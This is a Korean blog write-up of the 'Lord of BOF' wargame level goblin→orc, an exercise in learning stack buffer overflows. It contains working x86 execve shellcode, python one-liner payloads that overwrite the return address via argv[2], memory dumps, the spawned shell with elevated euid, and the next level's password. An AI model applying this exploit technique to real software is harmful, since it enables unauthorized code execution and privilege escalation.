4. goblin → orc

wargame 🏴‍☠️ write-up/Lord of BOF

4. goblin → orc

Kortsec1 2018. 7. 26. 16:15

안녕하세요 어느덧 3번문제까지 클리어했네요ㅎ

저희는 크게 3가지 방법으로 bof공격을 해보았습니다.

3가지로 나누는 기준은 'ret를 어느 주소로 덮느냐'였는데요,

1. buffer 변수

2. argv[1]

3. 환경변수

였죠

여기까지 잘 푸셨다면 아마 ret를 덮을 주소를 찾는 것 쯤은 식은죽 먹기 일 겁니다.

(그래도 다시 정리를 위해ㅎ) 제가 유용하게 사용하는 방법은 크게 두 가지인데요,

먼저 gdb를 통해 뜯어보면서 메모리를 분석하는 방법입니다.

gdb를 이용한다는 것 자체가 메모리, 어셈블리어 등의 개념들을 공부하는데에 많은 도움이 됩니다.

또한, 문제를 이해하는데 큰 힘이 되주죠!!

두번째는 직접 코드를 짜서 해보는 것 입니다.

제가 앞으로 문제풀이에서 많이 사용할 방법이기도 하구요ㅎ

gate를 가지고 예시를 몇개 들어보도록 하죠

[gate@localhost gate]$ cat -n test.c
     1	/*
     2		The Lord of the BOF : The Fellowship of the BOF 
     3		- gremlin
     4		- simple BOF
     5	*/
     6	 
     7	int main(int argc, char *argv[])
     8	{
     9	    char buffer[256];
    10	    if(argc < 2){
    11	        printf("argv error\n");
    12	        exit(0);
    13	    }
    14	    strcpy(buffer, argv[1]);
    15	    printf("%s\n", buffer);
    16	    printf("%p\n", buffer);
    17	}

기존 gremlin.c와 다른점은 16번째 줄이 추가됬다는 건데요, buffer의 주소를 찾기 위해 %p로 출력을 해주는 코드 입니다.

[gate@localhost gate]$ ./test `python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f
\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A"*36
 +"\xbf\xbf\xbf\xbf"'`
1󿿐h//shh/bin⏓ᙰ
              ̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿¿¿¿
0xbffff918
Segmentation fault (core dumped)
[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A"*36 +
"\x18\xf9\xff\xbf"'`
1󿿐h//shh/bin⏓ᙰ
              ̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
bash$ id
uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)
bash$ my-pass
euid = 501
hello bof world
bash$

ret를 test를 실행하여 나온 주소로 덮었더니 성공적으로 실행이 되죠?

두번 째는, dumpcode라는 헤더파일을 이용하는 법 입니다.

[gate@localhost gate]$ cat -n test.c
     1	#include "dumpcode.h"
     2	
     3	/*
     4		The Lord of the BOF : The Fellowship of the BOF 
     5		- gremlin
     6		- simple BOF
     7	*/
     8	 
     9	int main(int argc, char *argv[])
    10	{
    11	    char buffer[256];
    12	    if(argc < 2){
    13	        printf("argv error\n");
    14	        exit(0);
    15	    }
    16	    strcpy(buffer, argv[1]);
    17	    printf("%s\n", buffer);
    18	    dumpcode(buffer, 300);
    19	}

이번에는 1번과 18번 줄이 추가됬습니다.

[gate@localhost gate]$ ./test `python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f
\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A"*36 +
"\xbf\xbf\xbf\xbf"'` 1󿿐h//shh/bin⏓ᙰ ̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿¿¿¿ 0xbffff918 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff928 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff938 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff948 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff958 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff968 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff978 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff988 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff998 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff9a8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff9b8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff9c8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff9d8 90 90 90 90 90 90 90 90 31 c0 50 68 2f 2f 73 68 ........1.Ph//sh 0xbffff9e8 68 2f 62 69 6e 89 e3 50 53 89 e1 99 b0 0b cd 80 h/bin..PS....... 0xbffff9f8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffa08 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffa18 41 41 41 41 bf bf bf bf 00 00 00 00 64 fa ff bf AAAA........d... 0xbffffa28 70 fa ff bf 68 38 01 40 02 00 00 00 c0 83 04 08 p...h8.@........ 0xbffffa38 00 00 00 00 e1 83 04 08 54 86 04 08 ........T... Segmentation fault (core dumped)

마치 gdb로 메모리 분석을 하듯 보기 쉽게 출력해 줍니다!!

dumpcode헤더는 이렇게 유용하게 많이 쓰이니, 기억해 둡시다!

이제 본격적으로 4. goblin => orc를 풀어 볼까요?

id : goblin

pw : hackers proof

소스 코드는 다음과 같습니다.

[goblin@localhost goblin]$ cat -n orc.c
     1	/*
     2	        The Lord of the BOF : The Fellowship of the BOF
     3	        - orc
     4	        - egghunter
     5	*/
     6	
     7	#include 
     8	#include 
     9	
    10	extern char **environ;
    11	
    12	main(int argc, char *argv[])
    13	{
    14		char buffer[40];
    15		int i;
    16	
    17		if(argc < 2){
    18			printf("argv error\n");
    19			exit(0);
    20		}
    21	
    22		// egghunter 
    23		for(i=0; environ[i]; i++)
    24			memset(environ[i], 0, strlen(environ[i]));
    25	
    26		if(argv[1][47] != '\xbf')
    27		{
    28			printf("stack is still your friend.\n");
    29			exit(0);
    30		}
    31	
    32		strcpy(buffer, argv[1]); 
    33		printf("%s\n", buffer);
    34	}

22번째 ~ 24번쨰 줄을 보면 환경변수를 초기화 시키는 것을 볼 수 있습니다.

buffer나 argv[1]로 jmp할 수 있겠지만, 이번에는 좀 다른 방법을 사용하여 풀도록 하겠습니다.

argv[2]를 이용하는 방법 인데요, 정말 간단합니다!!

argv[1]에는 쉘코드가 들어갈 필요가 없으므로, buffer(40byte) + sfp(4byte) 총 44byte의 의미없는 값을 채워주고,

argv[2]의 주소를 ret에 덮어주면 됩니다.

26번째 ~ 30번째 줄은 ret를 덮을 때 자연스럽게 패스 하게 됩니다.(레드햇 리눅스 스텍의 주솟값은 대부분 \xbf로 시작하죠!)

argv[2]의 주소를 찾아내기 위해 dumpcode를 이용해 보도록 합시다.

[goblin@localhost goblin]$ cat test.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>
#include "dumpcode.h"

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
	dumpcode(argv[2], 300);
}

python 코드는 다음과 같이 argv[2]를 추가하여 짜줍니다.

`python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf" + " " + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

argv[2]의 메모리가 잘 출력되는거 보이시죠..?

[goblin@localhost goblin]$ ./test `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf" + " " + "\x90"*100 +
 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿¿¿¿
0xbffffbe7  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffbf7  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffc07  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffc17  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffc27  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffc37  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffc47  90 90 90 90 31 c0 50 68 2f 2f 73 68 68 2f 62 69   ....1.Ph//shh/bi
0xbffffc57  6e 89 e3 50 53 89 e1 99 b0 0b cd 80 00 00 00 00   n..PS...........
0xbffffc67  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffc77  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffc87  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffc97  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffca7  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffcb7  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffcc7  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffcd7  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffce7  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffcf7  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffd07  00 00 00 00 00 00 00 00 00 00 00 00               ............
Segmentation fault (core dumped)

그럼 이제 \xbf\xbf\xbf\xbf부분을 0xbfffc07로 덮기만 하면 끝나겠죠?

[goblin@localhost goblin]$ ./orc `python -c 'print "A"*44 + "\x07\xfc\xff\xbf" + " " + "\x90"*100 +
 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ my-pass
euid = 504
cantata
bash$

쉘이 성공적으로 따졌습니다!!

'wargame 🏴‍☠️ write-up > Lord of BOF' 카테고리의 다른 글

6. wolfman → darkelf (0)	2019.05.02
5. orc → wolfman (0)	2019.05.02
3. cobolt → goblin (0)	2018.07.25
2. gremlin → cobolt (1)	2018.07.23

현재글4. goblin → orc

관계자외 출입 금지

Format-Wide, Format-List, PowerShell, jenkins, web, 사이버전의 모든 것, CIMOM, 보안 서적, 취약점, Get-CimInstance, Format-Table, expandAtFiles, Vulnerability, CVE-2024-23897, Windows Management Instrumentation, PortSwigger, 2023 Top 10, Win32_UserAccount, Win32_OperatingSystem, James Kettle,

Today :
Yesterday :

보안

4. goblin → orc

'wargame 🏴‍☠️ write-up > Lord of BOF' 카테고리의 다른 글

'wargame 🏴‍☠️ write-up/Lord of BOF'의 다른글

티스토리툴바

« 2024/07 »
일	월	화	수	목	금	토
	1	2	3	4	5	6
7	8	9	10	11	12	13
14	15	16	17	18	19	20
21	22	23	24	25	26	27
28	29	30	31

4. goblin → orc

'wargame 🏴‍☠️ write-up > Lord of BOF' 카테고리의 다른 글

'wargame 🏴‍☠️ write-up/Lord of BOF'의 다른글

관련글

티스토리툴바